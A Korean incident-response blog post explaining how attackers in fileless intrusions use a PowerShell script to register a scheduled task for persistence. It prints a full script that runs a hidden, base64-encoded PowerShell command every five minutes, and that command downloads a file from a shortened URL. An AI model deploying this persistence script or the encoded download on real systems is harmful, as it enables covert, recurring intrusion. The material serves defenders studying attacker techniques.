작업 스케줄러 등록 PowerShell Script
DFIR/Incident Response

작업 스케줄러 등록 PowerShell Script

1. 파일리스 공격의 최근 유형

 

침해사고에서 발견되는 공격자들의 공격 유형 중 하나는 특정 파일을 주기적으로 실행되도록 만드는 것입니다. 이와 같은 방법이 다양한 기능이 제공되는 파워셸과 함께 사용된다면 공격자가 원하는 대부분의 행위를 수행할 수 있을 것입니다.

침해사고 사례 중 파일리스 공격 유형의 비중이 높아지고 있다는 사실은 많이들 아시는 내용입니다. 파일리스 공격 유형 초기에는 공격파일을 남겨두지 않는 형태였습니다. 이러한 경우에는 파일리스 공격이 메모리에서 동작하기 때문에 시스템이 종료되는 경우 공격을 처음부터 수행해야하는 단점이 존재했습니다.

따라서 최근에는 공격자들이 지속적인 공격 수행을 위해 공격 파일을 시스템에 남겨두는 경우가 발견되고 있습니다. 공격에 필요한 최소한의 파일만 시스템에 남겨둔 후 지속적으로 실행되도록 환경을 만들어두는 것입니다.

시스템이 재부팅되더라도 파일이 지속적으로 실행되도록 하는 방법에는 레지스트리 등록, 서비스 등록, 작업 스케줄러 등록하는 방법 등이 있습니다. 이번 포스팅에서는 직접 스크립트를 작성하면서 파워셸 스크립트를 활용하여 작업 스케줄러에 작업을 등록하는 원리에 대해 알아보겠습니다.

 


 

2. 파워셸로 작업 스케줄러에 작업 등록

 

다음과 같은 상황을 가정해보았습니다.

 

1. 피해 시스템에서 스피어 피싱 메일의 첨부파일인 파워셸 원 라이너가 포함된 악성 파일을 실행

2. 파워셸 원 라이너는 원격지에 있는 .ps1 파일을 피해 시스템의 메모리에서 실행 (파일리스)

3. 실행된 .ps1 파일은 피해 시스템의 작업 스케줄러에 악성 행위를 하는 파워셸 원 라이너를 등록

 

1번과 2번 과정은 진행되었다고 가정하고, 3번에서 실행되는 작업 스케줄러에 파워셸 원 라이너를 등록하는 .ps1 파일의 내용을 다음과 같이 작성해보겠습니다.

※ 파워셸 원 라이너는 한 줄로 구성된 파워셸 스크립트 명령을 의미합니다.

 

$Action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-w hidden -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAGYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGkAdAAuAGwAeQAvADMANwBLAHoAOQBWAEQAJwAsACIAJABoAG8AbQBlAFwARABlAHMAawB0AG8AcABcAEgAYQBoAGEALgBqAHAAZwAiACkA'
$TempTrigger = New-ScheduledTaskTrigger -Once -at '00:00' -RepetitionInterval '00:05:00.0' -RepetitionDuration '1.00:00:10'
$Trigger = New-ScheduledTaskTrigger -Daily -At "17:00" 
$Trigger.Repetition = $TempTrigger.Repetition
$Task = New-ScheduledTask -Action $Action -Trigger $Trigger
Register-ScheduledTask -TaskName 'MY PS SCRIPT' -InputObject $Task

 

첫 번째 줄부터 차례대로 그 의미에 대해 짚어보겠습니다.

 

$Action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-w hidden -enc ...

작업을 시작하면 어떤 행위를 수행하는지 설정해주는 것입니다. powershell.exe를 실행시키고 인자 값으로 '-w hidden -enc ...' 을 줍니다.

즉, 작업이 시작되면 powershell.exe -w hidden -enc ... 명령어를 실행하는 것과 같은 효과를 볼 수 있습니다.

 

$TempTrigger = New-ScheduledTaskTrigger -Once -at '00:00' -RepetitionInterval '00:05:00.0' -RepetitionDuration '1.00:00:10'

작업의 반복에 대한 임시 값을 지정해줍니다. 

기본적으로 Windows10 운영체제에서는 작업의 기간을 무한히 지정할 수 없다고 하는데 스택오버플로에서 위와 같이 설정하면 무한히 지속된다고 합니다. (RepetitionDuration), 또한 5분 간격으로 작업을 실행합니다. (RepetitionInterval)

 

$Trigger = New-ScheduledTaskTrigger -Daily -At "17:00" 

실제 작동될 트리거 값을 지정해줍니다.

매일 오후 5시에 작업이 실행됩니다.

 

$Trigger.Repetition = $TempTrigger.Repetition

$Trigger 의 반복 시간을 $TempTrigger 의 값으로 지정합니다.

따라서 매일 오후 5시에 트리거가 발동한 후로 5분 간격으로 작업을 실행합니다.

 

$Task = New-ScheduledTask -Action $Action -Trigger $Trigger

앞에서 설정한 값들을 $Task에 적용해줍니다.

 

Register-ScheduledTask -TaskName 'MY PS SCRIPT' -InputObject $Task

작업 스케줄러에 'MY PS SCRIPT' 라는 이름으로 작업을 등록합니다.

 

 

스크립트를 실행하고 작업 스케줄러에서 내용을 확인하면 위와 같습니다.

결과물을 보면서 다시 스크립트의 값을 보면 이게 어떤 값을 의미하는지 금방 이해하실 수 있을 것입니다.

 

작업 수행을 특정 시간을 지정해두고 하는 것이 아니라 로그온을 했을 때 실행되도록 하는 등 다양한 기능이 제공되며 관련 옵션들은 다음 링크에서 확인할 수 있습니다.

 

https://docs.microsoft.com/en-us/powershell/module/scheduledtasks/new-scheduledtasktrigger?view=windowsserver2022-ps 

 

New-ScheduledTaskTrigger (ScheduledTasks)

Use this topic to help manage Windows and Windows Server technologies with Windows PowerShell.

docs.microsoft.com